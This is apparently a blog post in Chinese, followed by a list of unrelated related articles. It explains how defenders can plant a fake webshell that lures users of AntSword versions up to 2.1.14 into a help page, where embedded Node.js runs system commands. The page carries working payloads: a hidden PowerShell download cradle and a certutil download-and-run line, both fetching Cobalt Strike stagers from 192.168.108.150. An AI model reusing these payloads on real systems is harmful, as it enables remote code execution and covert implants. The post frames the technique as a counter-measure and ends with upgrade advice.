当前位置: 首页 > news >正文

利用蚁剑钓鱼上线CS

前言

中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)

关键实现

蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会!

图片

图片

 

反制复现

环境准备:

红队蓝队
IP192.168.108.220192.168.108.150
版本蚁剑Cobalt Strike

想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。

影响的版本:AntSword < =v2.1.14

AntSword下载:https://github.com/AntSwordProject/antSword/releases

开源假webshell:https://github.com/MD-SEC/Anti_AntSword

1、蓝队故意在服务器放置假的webshell进行钓鱼

达到真实的效果可以添加一些提示信息,让红队上钩

<body>
AntSword password admin
</body>
</html>

图片

图片

红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳)

图片

在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线

<script type="text/javascript">require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
</script>

或者下载文件方式上线CS

</script>
<script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>

图片

注:payload一定要放开头,放后面可能由于html过大导致命令执行失败

可以自行编写攻击者点击钓鱼链接时的话术

图片

2、红队开始利用蚁剑进行连接

图片

模拟红队的文件浏览页面

图片

图片

模拟红队的命令行操作回显

图片

3、开始钓鱼引诱红队

当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接

图片

红队点击恶意链接,出现正常的帮助文档

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

图片

帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS

修复建议

1、升级至 AntSword v2.1.15版本 2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开

最后

此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。

http://www.lryc.cn/news/272995.html

相关文章:

  • 宣传照(私密)勿转发
  • 【Spring】19 AOP介绍及实例详解
  • ES(Elasticsearch)的基本使用
  • 【JVM面试题】Java中的静态方法为什么不能调用非静态方法
  • 对‘float16_t’的引用有歧义
  • Windows重装升级Win11系统后 恢复Mysql数据
  • MySQL之四大引擎、账号管理以及建库
  • shell编程——查找局域网内存活主机
  • python django 个人记账管理系统
  • C#的Char 结构的方法之IsLetterOrDigit()
  • 配置Docker私有仓库
  • 计算机网络-动态路由
  • 光耀未来 第一届能源电子产业创新大赛太阳能光伏赛道决赛在宜宾举行
  • 【小沐学NLP】Python实现TF-IDF算法(nltk、sklearn、jieba)
  • .cer格式证书文件和 .pfx格式证书文件有什么区别?
  • 【docker实战】安装tomcat并连接mysql数据库
  • LeetCode 每日一题 Day 32 ||递归单调栈
  • 【mars3d】FixedRoute的circle没有跟polyline贴着模型的解决方案
  • Day7 vitest 之 vitest配置第三版
  • git补充上次提交
  • 计算机网络名词解释
  • flink table view datastream互转
  • redis重启后数据丢失问题解决(亲测好用)
  • 敬请期待……
  • 3.10 Android eBPF HelloWorld调试(四)
  • PyTorch常用工具(1)数据处理
  • docker-简单说说cgroup
  • 印象笔记04: 如何将印象笔记超级会员价值最大化利用?
  • 我的JDK动态代理流程
  • uniapp Vue3 面包屑导航 带动态样式